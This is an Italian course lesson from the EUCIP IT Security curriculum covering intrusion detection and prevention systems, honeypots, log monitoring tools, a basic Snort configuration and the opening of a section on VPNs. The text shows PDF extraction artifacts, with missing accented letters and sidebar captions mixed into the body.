vono per predisporre le contromisure e ridurre gli effetti
delle violazioni. Questa non , comunque, una regola asso-
luta; esistono modalit e strumenti di risposta attiva (acti-
ve response), a volte implementati tramite applicazioni
esterne, che permettono a un IDS di attuare una risposta
immediata e automatica all'attacco, cos da minimizzarne
(o annullarne) gli effetti dannosi.
Nel 2003 varie campagne di marketing iniziarono a pro-
muovere gli Intrusion Prevention Systems (IPS) come eredi
degli IDS, presentati come un fallimento perch non impe-
divano gli attacchi e fornivano troppi falsi positivi, cio
messaggi d'intrusione che si rivelavano falsi allarmi. A qual-
che anno di distanza, dissipato il polverone delle promes-
L'abbiamo suddivisa in cinque parti per coprire tutti i temi.
In questa ultima puntata ci occupiamo dei sistemi di prevenzione
delle intrusioni e delle reti private virtuali (VPN), due elementi
fondamentali di protezione
attiva. I contenuti sono composti
da tre elementi: un articolo sulla
multimediale completo su DVD
di Giorgio Gobbi
Materiale didattico
validato da AICA
IT Administrator
Modulo 5 -
IT Security
"AICA Licenziataria
programma EUCIP
of Informatic
validato copre
puntualmente e
integralmente gli
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
del marchio EUCIP,
vigenti"
2.0 (curriculum
ufficiale AICA)
5.7.9 Intrusion
detection
applicazioni
parte E Difendersi dai nemici allinterno
In collaborazione
con:
Sicurezza di rete Intrusion detection e VPN
Difendersi dai nemici
allinterno
Lezione 7E IT Administrator - Sicurezza informatica
se non mantenute dagli IPS, lo scenario pi chiaro. Gli IDS
continuano a evolversi e hanno consolidato la loro presen-
za nell'industria. Lo standard di fatto degli IDS, Snort, svi-
luppato a livello individuale da Marty Roesch (fondatore
della societ Sourcefire) nel 2005 stato acquisito da Check
Point. Anche se Snort verr integrato nei prodotti Check
Point, continuer comunque a essere sviluppato e distri-
buito come software libero sotto GPL (General Public Li-
cense) per una comunit di centinaia di migliaia di utenti.
Anche gli IPS proseguono nella loro evoluzione, spesso
integrandosi con i firewall, con cui condividono la funzione
di bloccare traffico illegale o sospetto. D'altra parte, IDS e
IPS hanno ruoli e collocazioni diversi. Un IDS non intru-
sivo come un firewall o un IPS, e agisce in primo luogo allo
strato di rete, sebbene ci siano IDS in grado di esaminare
anche lo strato applicativo. Un IPS, per essere efficace, de-
ve invece essere in grado di far fronte alle complessit del-
lo strato applicativo, senza farsi ingannare dalle tecniche di
evasione. Inoltre, un IPS deve essere tarato con molta pre-
cisione per riconoscere gli attacchi e, insieme, evitare di
bloccare traffico lecito. IDS e IPS sono complementari; an-
che in presenza di IPS sulla rete, solo l'utilizzo degli IDS a
monte e a valle delle protezioni pu confermare l'efficacia
dei blocchi attuati da firewall e IPS. Un IDS , di fatto, l'ulti-
ma risorsa per rilevare tentativi di attacco passati indenni
attraverso le altre barriere.
Oltre a non essere intrusivi, gli IDS hanno il vantaggio di
non introdurre complessit di controllo del traffico diffici-
li da gestire. E' vero, tuttavia, che nessun IDS efficace in
assenza di una struttura di supporto competente e tempe-
stiva nell'azione di monitoraggio e negli interventi corret-
tivi. Solo personale esperto in grado di eseguire il tuning
(taratura) delle regole di riconoscimento e dei criteri di se-
gnalazione, in modo da isolare gli eventi significativi e li-
mitare il numero di segnalazioni, solitamente ingente.
Tipologie di sistemi
di Intrusion Detection
Il tipo di traffico maligno che allerta un IDS dipende dal
tipo di IDS e dalla sua collocazione. Gli IDS sono general-
mente classificati in base alle seguenti categorie:
1. Network-Based Intrusion Detection System(NIDS), cio IDS
basati su rete;
2. Host-Based Intrusion Detection System (HIDS), IDS basati
su host;
3. Distributed Intrusion Detection System (DIDS), IDS distri-
buiti o ibridi.
Unulteriore categoria, Application-Based IDS, pu esse-
re considerata un subset di quella HIDS, e comprende IDS
che analizzano gli eventi nell'ambito di un'applicazione
software.
Network-Based IDS
Come suggerisce il nome, i NIDS tengono sotto control-
lo un intero segmento di rete (o sottorete). A tale scopo,
modificano la modalit operativa della scheda di rete a cui
sono connessi, da non promiscua (il default) a promiscua.
Ci significa che la scheda passa agli strati di rete superio-
ri non solo i pacchetti diretti all'indirizzo MAC (Media Ac-
cess Control) della scheda, ma tutti i pacchetti che transi-
tano in quel punto della rete, qualunque sia il destinatario.
L'IDS si comporta quindi da sniffer di tutto il traffico in tran-
sito, che viene analizzato con metodi diversi.
Qualunque sia la terminologia usata dai produttori per
promuovere i propri metodi di analisi, i meccanismi fon-
damentali usati per riconoscere segni d'intrusione sono tre:
1. Pattern matching, ovvero il riconoscimento dei
pacchetti a fronte di un database di "firme" che identifi-
cano i vari tipi di attacco; nella maggior parte dei casi, gli
IDS supportano anche uno stateful pattern matching, do-
ve i pacchetti sono esaminati nel contesto della connes-
sione, rendendo cos pi difficile a un cracker aggirare la
protezione.
2. Analisi dei protocolli: meno specifica del pattern
matching, esamina il pattern (la struttura) del traffico,
anzich il campo dati dei pacchetti. Qui sono verificati
gli header e la loro coerenza con la struttura dei pac-
chetti.
3. Rilevamento delle anomalie: suddivisibili in ano-
malie basate sul comportamento e in anomalie basate sul
protocollo. Il rilevamento delle anomalie si basa sull'esa-
me del traffico a livello superiore rispetto al pattern mat-
ching e all'analisi dei protocolli. Anzich i singoli pac-
chetti, si osserva il traffico nel suo complesso; ci sono va-
ri modi per implementare questa metodologia. Un esem-
pio il monitoraggio delle connessioni tra gli host: se
compaiono pacchetti non corrispondenti allo stato della
connessione o vistosamente fuori sequenza, scatta l'al-
larme. Un altro esempio un Web server che inizi ad ac-
cettare connessioni su una porta alta (>1023) anzich la
consueta 80, oppure che origini una connessione con un
host su Internet. Anche picchi di traffico dovuto ad ap-
plicazioni peer-to-peer (solitamente illegali in azienda
perch implicano un controllo esterno sui sistemi inter-
ni) possono ricadere in tale categoria.
Generalmente, gli IDS sul mercato utilizzano una combi-
nazione dei tre metodi di analisi sopra citati. Di solito il mo-
tore centrale utilizza un metodo specifico, e si affida a pre-
e post-processor per l'implementazione degli altri due me-
todi. Vediamo un esempio pratico: Snort articola il proprio
operato in varie fasi e componenti. Innanzitutto, utilizza
una serie di decoder che scompongono i pacchetti ai vari
strati (data link, IP, TCP). Una volta completata la scompo-
sizione, invoca alcuni preprocessor che si occupano, ad
esempio, di seguire lo stato della connessione e di ricono-
scere eventuali anomalie in tale ambito. Il traffico passa
quindi al detection engine vero e proprio, che verifica circa
2.500 regole generali di vario tipo. Un'altra classe di com-
ponenti, i cosiddetti output plug-in, permette di configurare
i log (che cosa registrare dell'attivit svolta) e gli allarmi.
Un NIDS esamina il traffico di rete senza n modificar-
ne il contenuto, n influenzarne il transito. Ci permette
d'installare i sensori con facilit; d'altra parte, l'assenza di
controllo sul traffico richiede un accurato dimensiona-
mento e configurazione del sistema e dell'IDS, per riusci-
re a eseguire l'analisi su tutti gli strati previsti (stateful in-
spection, analisi dei dati applicativi) senza perdere pac-
chetti. Altrimenti, si pu lasciar passare un attacco e per-
dere lo stato delle connessioni. A pesare ulteriormente sul
carico del sistema possono contribuire particolari tecni-
5.7.9.1: Conoscere
le principali tipologie
di Intrusion
Detection Systems
(IDS)
Esempio con tre
Network-Based Intrusion
Detection System (NIDS)
che di attacco, come la frammentazione dei pacchetti.
Un IDS come Snort, dopo anni di evoluzione e dopo la ri-
scrittura del detection engine attraverso un algoritmo di ri-
cerca multipattern che verifica pi regole in parallelo, ha
raggiunto le prestazioni necessarie per ispezionare una re-
te dell'ordine dei gigabit/secondo. In generale, se il motore
dell'IDS (e il resto del sistema) non abbastanza sofistica-
to per reggere un alto carico di lavoro, bisogna limitare la
complessit dei controlli a forme di pattern matching sul
payload (campo dati) dei pacchetti e di controlli sugli hea-
der TCP/UDP/IP. Analisi pi approfondite possono essere
demandate a una consolle centralizzata, anzich essere
eseguite in tempo reale; in tal caso, le azioni correttive ven-
gono ulteriormente ritardate.
L'automazione delle azioni di risposta (active respon-
se), quando supportate, si limita di solito all'invio di pac-
chetti TCP Reset per interrompere connessioni pericolo-
se, o all'aggiunta dinamica di regole di filtraggio sul fi-
rewall. Tali azioni vanno usate tuttavia con cautela, per
non rischiare di bloccare traffico legittimo in risposta a
pacchetti falsificati (un esempio il blocco del traffico
DNS a causa di pacchetti contraffatti apparentemente
provenienti dal nameserver).
L'installazione di uno o pi NIDS non ha impatti sul fun-
zionamento della rete, ma pu averne sulla sua topologia.
La strategia di controllo pu essere centralizzata (una con-
solle centrale controlla il monitoraggio e il reporting), par-
zialmente distribuita (monitoraggio centrale e reporting a
una o pi postazioni), o completamente distribuita (moni-
toraggio basato sull'uso di agenti e decisioni prese nel pun-
to di analisi). Inoltre, il traffico pu essere raggruppato e
suddiviso tramite switch, in modo da sottoporre ai senso-
ri solo il traffico che opportuno analizzare, isolato dal traf-
fico meno interessante. In caso contrario, i sensori do-
vranno essere pi numerosi e dimensionati per gestire una
maggiore quantit di traffico e di controlli.
Un problema generale degli IDS quello del tuning per ri-
durre i falsi positivi (falsi allarmi) e i falsi negativi (attacchi
passati inosservati). Se ci si limita a ispezionare ogni pac-
chetto e a eseguire semplici controlli di pattern matching
si usa un approccio troppo generale, che produce molti fal-
si positivi. Se il pattern matching diventa molto specifico, si
rischia di mancare gli attacchi (falsi negativi). Il tuning del-
la configurazione e l'uso dei preprocessor per riconoscere le
anomalie fanno parte della soluzione.
Come nella difesa a pi livelli (detta anche defense in
depth, o difesa in profondit) citata a proposito dei fi-
rewall, anche gli IDS dovrebbero essere collocati in ogni
punto in cui una rete si connette a un'altra rete: connes-
sioni Internet, DMZ (Demilitarized Zone), banchi di mo-
dem, gateway VPN (Virtual Private Network) e via dicen-
do. Inoltre, un IDS dovrebbe essere presente ovunque ci
siano server la cui compromissione sia ritenuta una gra-
ve violazione di sicurezza.
Di fronte alla enorme quantit di dati (log, messaggi,
dump) che possono essere prodotti dagli IDS, un requisito
vitale la presenza di un amministratore competente nel-
la sicurezza delle reti e nel tuning degli IDS, cos da mini-
mizzare i falsi positivi e utilizzare gli appropriati strumenti
di analisi per estrarre le informazioni utili da migliaia (o
centinaia di migliaia) di record.
Una fonte eccellente di informazioni su Snort e gli IDS in
generale Snort 2.1, Second Edition, di vari autori, Syn-
gress Publishing, 2004.
Host-Based IDS
Un IDS basato su host (HIDS) differisce da un NIDS in due
modi: protegge solo il sistema su cui installato (anzich
la sottorete), e la scheda di rete del sistema su cui instal-
lato funziona in modo non promiscuo (non ascolta i pac-
chetti destinati agli altri nodi della sottorete). Di conse-
guenza, il carico di lavoro di un HIDS inferiore e il set di
regole su cui esso opera pu essere personalizzato in mo-
do molto specifico per il particolare sistema host (per
esempio, non occorre monitorare i servizi non attivi).
Il rovescio della medaglia che un HIDS dev'essere
compatibile con il sistema operativo installato sul siste-
ma, il che costituisce un inconveniente soprattutto negli
ambienti multi-piattaforma. Un altro aspetto che l'in-
stallazione di un HIDS su un host, soprattutto un server,
causa un incremento del carico di lavoro che potrebbe
essere mal sopportato.
Le caratteristiche degli HIDS possono essere molto varie.
In particolare, i sensori possono avere diverse tipologie:
1. sensori che esaminano i log di sistema e applicativi; so-
no poco intrusivi, ma la loro efficacia condizionata
dalle informazioni che il sistema e le applicazioni regi-
strano nei file di log.
2. sensori che rilevano le modifiche apportate ai file critici
di sistema e al registry di Windows, che potrebbero es-
sere effetto d'intrusioni; tra i prodotti della categoria
change audit (monitoraggio e registrazione dei cambia-
menti) citiamo, ad esempio, quelli di Tripwire e di Acti-
ve Reasoning.
3. sensori collocati tra il software (servizi, sistema, appli-
cazioni) e la rete, che intercettano il traffico e possono
bloccare le attivit sospette o pericolose. Tali sensori, ca-
paci di attivit preventiva, sono presenti in diversi per-
sonal firewall commerciali; rispetto ai NIDS, hanno il van-
taggio di una maggiore disponibilit d'informazioni sul
contesto in cui avviene il traffico con la rete, inclusa l'ap-
plicazione che invia e riceve i dati.
4. sensori che intercettano le chiamate di sistema di un pro-
cesso, con possibilit di segnalarle o di bloccarle; tali si-
stemi, per lo pi sperimentali, richiedono una valutazio-
ne del carico di lavoro aggiunto al sistema. Gli HIDS di
questo e del precedente tipo sono spesso utilizzati per
proteggere singole applicazioni, come i Web server.
Gli HIDS hanno una caratteristica comune agli antivi-
rus: in caso di malfunzionamento o compromissione del
sistema, anche l'HIDS pu essere bloccato o disattivato.
Un comportamento tipico del software maligno indivi-
duare e cercare di chiudere gli antivirus e i personal fi-
rewall; in particolare, il firewall di Windows XP pu esse-
re disattivato tramite la sua stessa API (Application Pro-
gramming Interface).
Distributed IDS
Un IDS distribuito, o DIDS, una combinazione di sen-
sori NIDS e sensori HIDS, distribuiti attraverso la rete azien-
dale, che riportano le informazioni a un sistema centrale di
coordinamento. I log degli attacchi sono generati sui sen-
sori e trasferiti, periodicamente o continuamente, alla sta-
zione server centrale dove possono essere archiviati in un
database. Le firme dei nuovi attacchi sono caricate sulla
Esempio di utilizzo di
Host-Based Intrusion
Detection System (HIDS)
stazione di management man mano che si rendono dispo-
nibili, e quindi vengono trasferite ai sensori secondo ne-
cessit. Da notare che gli sviluppatori di Snort, entro pochi
giorni - se non ore - dal rilascio di un nuovo malware, ag-
giornano il ruleset di Snort sulla mailing list di NANOG
(North American Network Operators' Group).
I diversi tipi di sensori possono essere gestiti o meno
dallo stesso server, e i server di gestione sono spesso di-
stinti dai server che raccolgono i log. Ogni sensore pu ave-
re un set di regole personalizzato per le necessit della re-
te o dell'host monitorati dai sensori. I messaggi di allerta
possono essere inoltrati a un sistema di messaggistica ubi-
cato sulla stazione centrale di coordinamento, in modo da
tenere informato l'amministratore dell'IDS.
Le transazioni tra sensori e stazione di gestione pos-
sono avvenire su una rete privata, come nello schema
dell'esempio, oppure sulla rete aziendale. In quest'ultimo
caso vitale che tutti i messaggi riguardanti la sicurezza
e il rilevamento delle intrusioni siano cifrati, magari uti-
lizzando una VPN.
Accesso al traffico
L'avvento delle reti switched (basate su switch anzich
su hub) ha ostacolato il monitoraggio in modo promiscuo
delle reti. La soluzione stata di configurare gli switch in
modo da replicare i dati di tutte le porte o VLAN (Virtual
LAN) su una singola porta di mirroring (che deve suppor-
tare il traffico cumulativo delle porte da controllare). Tale
funzione ha diversi nomi, come Port Mirroring, Spanning
Port, Monitoring Port, SPAN port e Link Mode Port. Spesso
Port Mirroring indica la capacit di copiare il traffico da una
singola porta a una porta di mirroring, disattivandone il
traffico bidirezionale. Spanning Port indica la possibilit di
copiare il traffico da tutte le porte a una singola porta, di-
sattivandone anche in questo caso il traffico bidirezionale.
Per Cisco, SPAN significa Switch Port ANalyzer. Alcuni swit-
ch non permettono alle porte SPAN di trasmettere pac-
chetti, impedendo di usare contromisure di risposta attiva
come il TCP Reset.
Un'alternativa al mirroring o span delle porte di uno
switch (soluzione costosa e sotto il controllo del gruppo
di networking, anzich del gruppo di sicurezza) l'uso
dei network tap (test access port), dispositivi hardware
che si innestano direttamente nel cavo di rete e che in-
viano una copia del traffico di rete a un altro dispositivo.
I network tap possono essere usati con i NIDS e con gli
analizzatori di rete, come Ethereal. A differenza delle por-
te span, i tap forniscono il 100% del traffico di pacchetti,
compresi gli errori di strato 1 (fisico) e 2 (data link), nor-
malmente filtrati dagli switch.
Un NIDS pu operare in modo invisibile (stealth mode),
ovvero non visibile dalla rete che tiene sotto controllo.
Ci avviene solitamente evitando di assegnare un indi-
rizzo IP all'interfaccia di rete del NIDS, e usando un
network tap che consente solo la ricezione e non l'invio di
traffico. Un fattore chiave per impedire agli attaccanti di
accorgersi del NIDS.
Honeypots/Honeynets
Un honeypot un sistema esca, distinto e complemen-
tare rispetto a un IDS, progettato per attirare gli attaccanti
lontano dai sistemi critici. Gli scopi degli honeypot sono:
1. sviare gli attaccanti dall'accesso ai sistemi critici;
2. raccogliere informazioni sulle attivit degli attaccanti;
3. incoraggiare gli attaccanti a restare nel sistema abba-
stanza a lungo perch gli amministratori attuino una ri-
sposta.
Esempio di rete con
Distributed Intrusion
Detection System (DIDS)
Esempi di network tap
Uso di un network tap
all'interno del dispositivo
di monitoraggio (ad
esempio un IDS)
Monitoraggio tramite la
porta mirror del root
switch
Gli honeypot possono comporre una honeynet, che si-
mula una rete vulnerabile, attirandovi l'attaccante con
l'illusione di trovare materiale interessante. Nessun uten-
te legittimo accederebbe all'honeypot o honeynet, quin-
di qualunque accesso a questa parte della rete so-
spetto. Il sistema attrezzato con monitor sensibili
(IDS) e logger degli eventi, in modo da raccogliere tutte
le informazioni utili.
L'implementazione e configurazione di tali strumenti de-
ve essere accurata e realistica. Se l'attaccante si accorge
della trappola, evita l'honeypot e inizia ad attaccare i si-
stemi reali; per questo, l'uso di honeypot non deve creare
false aspettative di sicurezza che potrebbero rivelarsi con-
troproducenti (ad esempio, notando troppo tardi che la
quiete sull'honeynet non significa assenza di attacchi, ma
attacco alle altre reti). Inoltre, un attaccante che ha sco-
perto un honeypot lo pu sfruttare come base di partenza
per attaccare i sistemi e le reti reali.
Per queste considerazioni, gli honeypot dovrebbero
essere usati in sinergia con gli IDS per prevenire, rivelare
e rispondere agli attacchi. A differenza di un sistema di
produzione sotto attacco, un honeypot pu essere facil-
mente analizzato, visto che tutte le attivit sono ostili e
che il sistema pu essere messo offline ed esaminato a
piacere. L'attacco a un honeypot pu anche attivare mec-
canismi di difesa pi efficaci, fino allo shutdown dei si-
stemi reali in base alle policy di sicurezza e alle informa-
zioni sugli attacchi in corso.
Padded Cell
Anzich attirare un attaccante in un honeypot tramite
l'esca di informazioni apparentemente interessanti, una
padded cell (cella imbottita) opera in coppia con un IDS.
Quando l'IDS riconosce un attaccante, lo trasferisce in mo-
do trasparente a uno speciale host con funzione di padded
cell, che contiene un ambiente simulato dove l'attaccante
non pu fare danno. Come con l'honeypot, l'attaccante de-
ve essere indotto a credere che l'attacco stia avendo suc-
cesso. Anche una padded cell deve essere ben equipaggia-
ta di strumenti di monitoraggio per osservare e registrare
le azioni di attacco.
I vantaggi di honeypot e padded cell sono chiari:
1. gli attaccanti sono sviati verso obiettivi che non posso-
no danneggiare;
2. gli amministratori guadagnano tempo per decidere come
reagire;
3. le azioni d'attacco possono essere monitorate in modo
esauriente, contribuendo a migliorare le contromisure;
4. gli honeypot sono efficaci nel catturare anche gli insi-
der che curiosano intorno alla rete, fuori dalle aree di
lavoro legittime.
Ci sono anche svantaggi:
1. potrebbero esserci implicazioni legali da considerare;
2. l'efficacia di tali strumenti ancora da approfondire;
3. un attaccante che si accorge di essere manipolato di-
venta pi accanito;
4. gli amministratori e i manager di sicurezza devono ave-
re un alto grado di competenza per utilizzare tali sistemi
in modo appropriato.
Monitoraggio dei file di log
I file di log sono una delle fonti di informazioni che pos-
sono indicare attacchi e tentativi d'intrusione. L'analisi ma-
nuale dei file di log praticabile solo occasionalmente,
quando si affronta un problema specifico. Su base regola-
re, servono strumenti automatici che selezionino le infor-
mazioni d'interesse immediato e le forniscano tempestiva-
mente agli amministratori. In ambienti di tipo Unix, il dae-
mon syslogd di raccolta dei messaggi pu essere configu-
rato in modo da inviare sulla console i messaggi di livello
emerg, ma non offre la flessibilit necessaria per scegliere
i messaggi in base ai criteri necessari di volta in volta.
Swatch (Simple Watch) un esempio di strumento ca-
pace di monitorare attivamente i messaggi che sono regi-
strati man mano nei file di log, e di selezionarli in base a un
set di regole. Ci evita agli amministratori di essere som-
mersi sotto un diluvio di messaggi, selezionando ad esem-
pio solo quelli che indicano possibili violazioni o tentativi
d'intrusione, o quelli che rappresentano anomalie rispetto
allo schema abituale degli eventi.
L'esame dei log pu essere periodico o avvenire in tem-
po reale, con dispendio di risorse di calcolo. Un buon com-
promesso installare uno scanner periodico su ciascun
server e uno scanner real time sui log server centralizzati.
Swatch (http://sourceforge.net/projects/swatch) uno
strumento adatto per la scansione real time, mentre Log-
check un programma che si presta per le scansioni pe-
riodiche (http://sourceforge.net/projects/sentrytools).
Swatch molto potente, ma piuttosto complesso da
configurare. Pu monitorare in tempo reale non solo i log
di sistema, ma qualunque file, e pu eseguire qualsiasi co-
mando in base ai messaggi riconosciuti (per esempio, pu
cancellare i file pi vecchi di una settimana se riceve un
messaggio di file system temporaneo pieno).
Logcheck esamina i log di sistema e riporta, anche via e-
mail, le anomalie riscontrate. Gli utenti definiscono gli
eventi da ignorare e le violazioni in corrispondenti file di
configurazione. Le violazioni sono distinte in Active System
Attacks, Security Violations, e Unusual Activity.
Ricevere troppe informazioni, sperando di avere mag-
giore controllo, negativo quanto riceverne troppo poche,
perch per la maggior parte non sono utili e finiscono per
essere ignorate, impedendo di notare i messaggi di reale
emergenza. Pertanto, un sistema di segnalazione efficace ri-
chiede un tuning delle regole di selezione adattato all'am-
biente specifico, in modo da escludere tutti i messaggi che
rientrano nella routine e isolare le condizioni di allerta.
Sistemi di Intrusion Prevention
Gli IDS hanno il compito di riscontrare attivit sospette
e intrusioni, sia di tipo classificato e riconoscibile tramite
pattern matching, sia di tipo sconosciuto in virt di qual-
che anomalia di comportamento o di uso scorretto dei pro-
tocolli. In generale, non impediscono un attacco, ma forni-
scono segnalazioni che vanno valutate per stabilire una ri-
sposta. Anche quando si utilizzano tecniche di risposta at-
tiva, la reazione automatica, di solito, non va pi in l del-
l'interrompere una connessione TCP. Lo spoofing degli in-
dirizzi di origine rende molto rischioso rifiutare ogni con-
nessione con determinati indirizzi IP, che potrebbero rive-
larsi necessari per le normali attivit di un'azienda. In qual-
che caso, la connessione con un determinato indirizzo vie-
ne sospesa per un tempo limitato, in modo da ridurre i
danni se l'indirizzo di origine contraffatto.
Come avvenuto nei personal firewall commerciali
(per uso individuale), che da qualche anno incorporano
funzioni di prevenzione delle intrusioni capaci di ricono-
scere un assortimento di tipologie di attacco, anche i fi-
rewall aziendali, in molti casi, si sono arricchiti di fun-
zioni analoghe. In altri casi, i sistemi IPS (Intrusion Pre-
vention Systems) sono stati realizzati, spesso come evo-
luzione degli IDS o a essi combinati, sotto forma di ap-
pliance, cio dispositivi hardware autonomi dotati di un
proprio sistema operativo embedded. Questi, nei prossi-
mi anni, si andranno progressivamente integrando con le
prossime generazioni di firewall di fascia medio-alta, sia
pure in ritardo rispetto alle appliance.
Anzich limitarsi a monitorare il traffico, vengono in-
5.7.9.2: Sapere in
che modo monitorare
i log di sicurezza e
eventi di sistema
5.7.9.3. Essere
informati sui sistemi
di prevenzione
delle intrusioni
(Intrusion Prevention
Systems)
stallati in linea, di fronte alla rete o al servizio da proteg-
gere, in modo da bloccare il traffico ostile. I facili entu-
siasmi dei primi tempi e il tentativo di screditare gli IDS
presentando gli IPS come loro eredi hanno ceduto il pas-
so a una visione pi equilibrata, dove gli IPS sono ben ac-
cetti se effettivamente bloccano la maggior parte degli at-
tacchi (pochi falsi negativi) senza interferire con il traffi-
co lecito (pochi falsi positivi). Ci richiede la capacit di
esaminare in profondit (incluso lo strato applicativo) i
pacchetti e il traffico, e di utilizzare pi tecnologie si-
multanee per neutralizzare le tecniche evasive messe in
campo dagli attaccanti.
I maggiori protagonisti del mercato delle appliance
IPS sono 3Com, Check Point, Cisco, DeepNines, Internet
Security Systems, Juniper Networks, McAfee, NFR Secu-
rity, NitroSecurity, Radware, Reflex Security, Sourcefire,
StillSecure, Symantec, Top Layer Networks e V-Secure
Technologies.
Configurazione di un IDS
Premesso che un'adeguata descrizione di Snort occupa
le 700 pagine del citato Snort 2.1 Second Edition, in questa
sezione vediamo alcuni aspetti di un'installazione di Snort
come NIDS. Consideriamo un sistema con singola interfac-
cia, anche se Snort pu essere configurato in modalit in-
line controllando il traffico tra due interfacce e utilizzando
Iptables per ricevere i pacchetti, anzich la libreria pcap.
Il primo requisito hardware che la scheda di rete uti-
lizzata da Snort e una delle porte dello switch siano confi-
gurate in modo promiscuo, in modo da acquisire il traffico
di tutta la sottorete. Un altro requisito che lo switch non
sia talmente impegnato da non ruscire a replicare tutti i
pacchetti sulla porta SPAN (la porta SPAN deve avere la
banda necessaria). Ove ci siano pi switch, l'IDS va colle-
gato allo switch root del segmento di rete, altrimenti rice-
verebbe solo una porzione del traffico.
Snort affiancato da numerosi pacchetti di terze parti,
che ne migliorano la gestione e le prestazioni e ne esten-
dono le funzionalit. Tra di essi citiamo: ACID (Analisys Con-
sole for Intrusion Databases), uno strumento di browsing e
analisi dei dati con supporto MySQL e PostgreSQL; SGUIL
(Snort GUI for Lamers), un front-end client/server per ana-
lizzare i dati prodotti da Snort; Barnyard, un processore de-
gli eventi analizzati da Snort che libera Snort dalle incom-
benze di formattare l'output e inviarlo a destinazione;
Swatch, monitor di log in tempo reale che invia avvisi via e-
mail; Snortsam, Fwsnort e Snort-inline, che aggiungono a
Snort capacit di risposta attiva; IDSCenter, un front-end di
gestione di Snort per Windows; IDS Policy Manager, una
consolle di amministrazione di Snort per Windows; Oink-
master, uno script Perl per tenere aggiornato il ruleset di
Snort; Snortalog, uno script Perl che riassume i log di Snort;
SnortSnarf, altro script Perl che produce un report HTML
degli eventi recenti; Snortplot.php, che mostra grafica-
mente gli attacchi alla rete; Razorback, un programma di
analisi real time dei log per Linux; Incident.pl, uno script
Perl che crea un report degli eventi basato sul log di Snort;
PigSentry, che usa l'analisi statistica per segnalare picchi
nei tipi di segnalazioni fornite da Snort.
Sia Snort (www.snort.org), sia i programmi complemen-
tari sono disponibili sui siti dei relativi produttori; rispetto
alle versioni preconfezionate preferibile scaricare le ulti-
me versioni, nonch gli aggiornamenti delle regole. Le ap-
plicazioni sono disponibili sia in forma binaria eseguibile,
sia come sorgenti da compilare.
La compilazione di Snort richiede la libreria libpcap e le
librerie di sviluppo. Una volta installato Snort, necessario
configurarlo. Il file di configurazione tipicamente
/etc/snort/snort.conf; in Windows, pu essere
C:\snort\etc\snort.conf. un file voluminoso, ma contiene
esempi e indicazioni per la personalizzazione. Una delle va-
riabili da modificare probabilmente HOME_NET, a cui si
assegna l'indirizzo della propria LAN (per esempio
192.168.0.0/24). La variabile EXTERNAL_NET dovrebbe man-
tenere il valore di default any.
Quindi, necessario scaricare le regole aggiornate e in-
stallarle in una directory, come /etc/snort/rules o
C:\snort\rules. Tale directory dovr essere assegnata come
valore della variabile RULE_PATH nel file di configurazione.
A questo punto, si pu provare Snort con un comando
del tipo:
/usr/local/bin/snort -i eth0 -A full -g snort -u snort -c
snort.conf -l /var/log/snort
che indica in /var/log/snort la directory di logging, che
deve essere scrivibile per l'utente snort (indicato con l'op-
zione -u). Si pu usare l'opzione -s per dirigere il logging su
syslog.
In seguito, opportuno sia esaminare il contenuto di
5.7.9.4 Essere in
grado di allestire
e configurare in
maniera essenziale
un sistema di
Intrusion Prevention
System (IDS)
Esame dei pacchetti con
ACID
Analisi del traffico con
ACID
Esame del traffico con
SGUIL
snort.conf per affinare la configurazione, sia utilizzare un fi-
le init. In molte distribuzioni i parametri della riga di co-
mando possono essere configurati in /etc/sysconfig/snort.
possibile scrivere plug-in personalizzati basandosi sia
su quelli esistenti, sia sul manuale utente o sui libri su
Snort in commercio.
Una volta verificato il funzionamento di Snort, inizia la
fase pi impegnativa di tuning del programma e delle ap-
plicazioni complementari per rendere efficiente il ricono-
scimento delle intrusioni e la gestione degli allarmi. Oc-
corre tenere presente che l'usabilit ed efficienza della re-
te hanno la precedenza sul rilevamento delle intrusioni,
quindi si dovr fare attenzione a non creare colli di botti-
glia e a non sovraccaricare switch e sistemi.
Reti Private Virtuali
Per decenni le connessioni dedicate (leased lines), che
in Italia hanno preso il nome di Circuiti Diretti Numerici
(CDN), hanno permesso la realizzazione di collegamenti di-
gitali punto-punto o punto-multipunto. Le linee, affittate
dalle compagnie telefoniche, servivano ad esempio per
collegare fisicamente due sedi di una societ. Il canale co-
s creato privato, e la velocit di trasmissione dei dati
scelta in funzione del numero di utenti che si vogliono con-
nettere e del volume di traffico della rete. Lo svantaggio di
tale soluzione il costo elevato, perci, con la diffusione di
Internet, un numero sempre maggiore di organizzazioni ha
abbandonato le connessioni dedicate a favore delle reti
private virtuali (VPN, Virtual Private Networks), che utiliz-
zano Internet e diverse tecnologie di sicurezza (cifratura e
autenticazione) per ottenere molti dei vantaggi delle reti
private al basso costo della rete pubblica.
Una VPN una rete virtuale, costruita sulla base di re-
ti fisiche esistenti, in grado di fornire un meccanismo di
comunicazione sicura dei dati e delle informazioni IP tra-
smessi in rete. Le reti fisiche possono essere sia reti lo-
cali aziendali, sia reti pubbliche come Internet. L'utilizzo
di Internet per la trasmissione di informazioni riservate
non soltanto meno costoso rispetto alle connessioni
dedicate prese in affitto, ma anche molto pi flessibile,
perch utilizzabile indipendentemente dall'ubicazione
fisica degli host. Di conseguenza, oltre ai collegamenti tra
aziende o tra sede e filiali, (gateway-to-gateway), le VPN
permettono collegamenti sicuri tra il personale esterno
(ad esempio telelavoro o dipendenti in viaggio) e l'a-
zienda (host-to-gateway), e anche collegamenti da com-
puter a computer (host-to-host), per esempio per l'ammi-
nistrazione remota di un server.
Sicurezza dello strato di rete
Dopo anni di evoluzione, che hanno visto l'utilizzo di va-
ri stack di protocolli, il successo di Internet e la diffusione
della famiglia TCP/IP anche per le LAN hanno uniformato
le VPN sul modello TCP/IP, arricchito di una serie di pro-
tocolli di sicurezza per consentire connessioni sicure at-
traverso una rete insicura. Per meglio comprendere il mo-
tivo per cui le VPN proteggono principalmente la connes-
sione allo strato di rete, prendiamo in considerazione le
problematiche generali ai vari strati del modello TCP/IP.
1. Strato applicativo. A questo strato ogni applicazione
deve prevedere controlli separati, con modifiche al codice
per ogni specifica protezione. Il grado di controllo e flessi-
bilit sono elevati, ma lo pure l'investimento. Inoltre,
molto difficile progettare protocolli applicativi crittografi-
ci e implementarli correttamente, senza lasciare punti de-
boli. Il software commerciale spesso non prevede tali pro-
tezioni, e anche quando sono protetti i dati applicativi, le
applicazioni non sono in grado di proteggere i dati TCP/IP
degli strati inferiori, su cui non hanno competenza. Quan-
do utilizzata, la protezione allo strato applicativo dovreb-
be basarsi su standard accettati e ben collaudati, come nel-
l'esempio di PGP (Pretty Good Privacy) per la cifratura del-
